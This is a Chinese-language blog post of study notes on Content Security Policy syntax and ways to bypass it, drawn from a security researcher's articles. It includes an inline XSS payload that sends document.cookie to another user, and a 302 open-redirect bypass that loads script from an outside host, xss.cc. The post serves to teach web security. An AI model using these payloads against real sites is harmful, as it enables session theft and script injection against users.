CSP学习笔记(持续学习更新)

CSP——Content Security Policy
大佬光辉照耀我-学习链接

百度百科:CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
Content Security Policy 最早在firefox 23中实现,当时使用的是 X-Content-Security-Policy,它使用了前置词的内容安全性策略,并以W3C CSP1.0规范作为标准。
按照我的理解,CSP就是高级白名单机制,并且限制了网站的很多访问行为。
CSP编写网站:https://www.cspisawesome.com/

CSP语法以及范例

转载文章地址
看这个实例

<?php   
header("Content-Security-Policy:
                default-src 'none'; 
                connect-src 'self'; 
                frame-src 'self'; 
                script-src xxxx/js/ 
                          'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 
                          'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' ;
                font-src xxxx/fonts/ fonts.gstatic.com; 
                style-src xxxx/css/ fonts.googleapis.com; 
                img-src 'self'
");

有那么一丢丢长....里面包括了各种各样的写法:
1、none和self,none代表什么都不匹配,self代表匹配同源的来源
2、https://xxx/js/匹配目录下所有文件,https://xxx/js/file.js匹配特殊文件
3、第三种是类似于https:,会匹配所有包含这个特殊的格式的来源。
4、也有可能是example.com这样的,会匹配所有这个host的来源,或者会有*.example.com,会匹配这个host的所有子域。
5、第五种是类似于nonce-qwertyu12345会匹配一个特殊的节点。
6、当然还有加密过的类似于sha256-abcd…同样会匹配页面中一个特殊的节点(每次修改这个值都会改变)。

感觉下面这个是一个比较详细的字段说明

serialized-source-list = ( source-expression *( RWS source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source
; Schemes:
scheme-source = scheme ":"
                ; scheme is defined in section 3.1 of RFC 3986.
; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
scheme-part = scheme
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char   = ALPHA / DIGIT / "-"
port-part   = ":" ( 1*DIGIT / "*" )
path-part   = path
              ; path is defined in section 3.3 of RFC 3986.
   
; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'" 
; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" ) 
; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

CSP属性


  1. child-src
  2. connect-src
  3. default-src
  4. font-src
  5. img-src
  6. manifest-src
  7. media-src
  8. object-src
  9. style-src
  10. 总的来说

大佬的文章讲的很好很好,这里不转载赘述啦,总之就是不同属性的对应不同属性请求作用规则。

图片简单说明
不同的配置参数

Bypass CSP

xxxx-src *


这个规则里的*符号表示,允许除了内联函数以外所有的url式的请求,这基本上就随意开火了。

 
xxxx-src self


一般来说,self代表只接受符合同源策略的url,这样一来,大部分的xss和crsf都会失效,有个标签比较例外,虽然已经被加入的现在的csp草案中,但是的确还没有施行(这里的现在大概是16年,现在可不好说)。

<link rel="prefetch" herf="xxxxxxx">

这种请求在firefox上会被拦截(除非同源),其余的现在不好说

此外,也可以在当前域上传,如果有上传,直接加载就行了,完全么有限制。

攻击范例
不知道有多少人了解过cctf2016,其中有一道web题目IDS-Chicken

题目环境就符合我说的情况,CSP滴水不漏,几乎没办法用任何方式构造xss,但是内网存在上传点,上传文件会被重写为文件,link包含形成xss漏洞。

有兴趣继续了解的可以读博客的wp
http://lorexxar.cn/2016/04/25/cctf2016/#more

 
script-src 'unsafe-inline'


如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的。
对于这个属性有个特殊的配置叫unsafe-eval,他会允许下面几个函数

eval()
Function()
setTimeout() with an initial argument which is not callable.
setInterval() with an initial argument which is not callable.

我们先尝试构造payload

payload

可以明显的看到被拦了

拦截信息

但是我们尝试构造内联脚本

内联脚本

能看到成功执行


结果

由于同源策略,这个请求不能发往别的域下,但是实战环境中利用方式很多,就比如这个聊天版,可以通过发给别的用户的方式get cookie

<script>
  var xmlhttp=new XMLHttpRequest();
  xmlhttp.open("POST","submit.php",true);
  xmlhttp.setRequestHeader(_Ctent-type_,_applicati/x-www-form-urlencoded_);
  xmlhttp.send(_to=lorexxar&&message=_+document.cookie);
</script>;

302 Bypass CSP

来源:https://lorexxar.cn/2016/10/31/csp-then2/
首先要意识到如果我们构造一个重定向,就可以bypass CSP的域限制
测试页面(test.php):

<?php
   header("Content-Security-Policy: script-src http://127.0.0.1/ http://xss.cc/the_only_allow_dir/");
 ?>
 <html>
 <head>
 </head>
 <body>
     csp header test 
    
     <script src="/test/js/test.php?u=//xss.cc/myjs/a.js">
     </script>
 </body>
 </html>

整个站都在/test/下,/test/js/下包含正常的js.
条件一:必须有可以重定向的页面
假设第一个域下的某个位置有个可以定义重定向的页面,比如
http://127.0.0.1/test/js/test.php

<?php  header("Location: " . $_GET[u]); ?>

这里测试的时候写在了根目录下,不过是要是域内允许的任何为之都可以,这样的功能一般多出现在登陆页面

条件二:我们需要一个被允许的域
比如 http://127.0.0.1/ 里一般会有js目录被允许,然后可能存在upload域可以上传一个js。这里我们允许了http://xss.cc/the_only_allow_dir/这个域,然后在http://xss.cc/myjs/a.js里面写入js内容,比如 alert(2333)这种。

然后访问测试页面(test.php),就会重定向过去。

其它Bypass方式

https://lorexxar.cn/2017/10/25/csp-paper/#5
https://lorexxar.cn/2017/10/25/csp-paper/#6
https://lorexxar.cn/2017/10/25/csp-paper/#7

CSP困境以及升级

https://lorexxar.cn/2017/10/25/csp-paper/#0x04-CSP%E5%9B%B0%E5%A2%83%E4%BB%A5%E5%8F%8A%E5%8D%87%E7%BA%A7
并不是很理解,所以不转载了,回头再来细解

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,386评论 6 479
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,939评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,851评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,953评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,971评论 5 369
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,784评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,126评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,765评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,148评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,744评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,858评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,479评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,080评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,053评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,278评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,245评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,590评论 2 343

推荐阅读更多精彩内容

  • 第一部分 HTML&CSS整理答案 1. 什么是HTML5? 答:HTML5是最新的HTML标准。 注意:讲述HT...
    kismetajun阅读 27,421评论 1 45
  • jHipster - 微服务搭建 CC_简书[https://www.jianshu.com/u/be0d56c4...
    quanjj阅读 795评论 0 2
  • https://www.html5rocks.com/en/tutorials/security/content-...
    谢大见阅读 5,565评论 0 3
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,811评论 0 9
  • 这是一粒飘泊的尘土, 来自很远很远的尘土地带, 那一处,寸草不生, 留下的, 只有满地的疮痍,披上一层层风刮泄漏的...
    清晨依旧来临阅读 340评论 0 0